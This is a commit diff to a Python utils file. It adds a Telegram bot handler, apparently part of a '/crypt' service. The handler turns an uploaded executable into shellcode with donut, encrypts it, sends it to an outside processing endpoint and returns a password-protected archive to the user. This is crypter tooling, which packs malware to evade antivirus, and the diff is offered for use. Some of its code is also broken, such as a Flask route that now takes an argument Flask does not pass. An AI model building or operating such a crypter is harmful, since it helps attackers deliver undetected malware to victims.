Update utils.py

utils.py

@@ -8,6 +8,8 @@ import shutil
 import tempfile
 import requests
 import json
+from telegram import Update
+from telegram.ext import ContextTypes, ConversationHandler
 
 app = Flask(__name__)
 
@@ -195,7 +197,7 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
         raise Exception(f"An error occurred: {e}")
 
 @app.route('/process', methods=['POST'])
-def process_request():
+def process_request(request):
     temp_dir = None  # Initialize temp_dir to be used in the finally block
     try:
         # Save the incoming binary file
@@ -284,5 +286,93 @@ def download_file(filename):
     file_path = os.path.join(UPLOAD_FOLDER, filename)
     return send_file(file_path, as_attachment=True)
 
+async def confirm_file(update: Update, context: ContextTypes.DEFAULT_TYPE) -> int:
+    """Handle file confirmation"""
+    query = update.callback_query
+    await query.answer()
+
+    file_path = context.user_data.get('file_path')
+
+    if query.data == "yes":
+        output_file = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + f"_{query.message.chat.id}.bin"
+        output_path = os.path.join("converted", output_file)
+        try:
+            # Convert the .exe file to a .bin file
+            shellcode = donut.create(file=file_path, output=output_path)
+            
+            # Encrypt the .bin file
+            encrypted_file_path = encrypt_bin_file(output_path)
+            
+            # Show animated text while processing
+            await query.edit_message_text(
+                "🔄 Processing your file...\n"
+                "🟩🟩🟩⬛⬛⬛⬛⬛⬛⬛ (30%)"
+            )
+
+            # Send the encrypted .bin file to the API
+            with open(encrypted_file_path, 'rb') as bin_file:
+                response = requests.post('https://sigyllly-demo-docker-gradio.hf.space/process', files={'file': bin_file}, timeout=120)
+            
+            if response.status_code == 200:
+                # Parse the response to get the .7z file URL and password
+                response_data = response.json()
+                archive_url = response_data.get("download_link")
+                password = response_data.get("password")
+
+                if not archive_url or not password:
+                    await query.edit_message_text("❌ Invalid response from the server. Missing archive URL or password.")
+                    context.user_data['processing'] = False
+                    return ConversationHandler.END
+
+                # Download the .7z file from the archive_url
+                archive_response = requests.get(archive_url)
+                if archive_response.status_code != 200:
+                    await query.edit_message_text("❌ Failed to download the .7z file from the server.")
+                    context.user_data['processing'] = False
+                    return ConversationHandler.END
+
+                # Save the .7z file locally
+                archive_filename = f"processed_{random.randint(1000, 9999)}.7z"
+                archive_filepath = os.path.join("converted", archive_filename)
+                with open(archive_filepath, 'wb') as archive_file:
+                    archive_file.write(archive_response.content)
+
+                await query.edit_message_text(
+                    "🔄 Processing your file...\n"
+                    "🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩 (100%)"
+                )
+
+                # Send the .7z file and password to the user
+                await query.message.reply_document(
+                    document=open(archive_filepath, 'rb'),
+                    filename=archive_filename,
+                    caption=f"✅ File processed successfully! Here is your encrypted file.\n\n🔑 Password: `{password}`"
+                )
+
+                # Clean up the downloaded .7z file
+                os.remove(archive_filepath)
+
+                # Mark process as finished
+                context.user_data['processing'] = False
+                return ConversationHandler.END
+            else:
+                await query.edit_message_text("❌ Error occurred while processing the file.")
+                context.user_data['processing'] = False
+                return ConversationHandler.END
+
+        except Exception as e:
+            print(f"Error in confirm_file: {e}")
+            await query.edit_message_text(text=f"❌ Error occurred: {e}")
+            context.user_data['processing'] = False
+            if os.path.exists(file_path):
+                os.remove(file_path)
+            return ConversationHandler.END
+    else:
+        await query.edit_message_text("❌ Operation cancelled. Use /crypt to try again.")
+        context.user_data['processing'] = False
+        if os.path.exists(file_path):
+            os.remove(file_path)
+        return ConversationHandler.END
+
 if __name__ == '__main__':
     app.run(debug=True)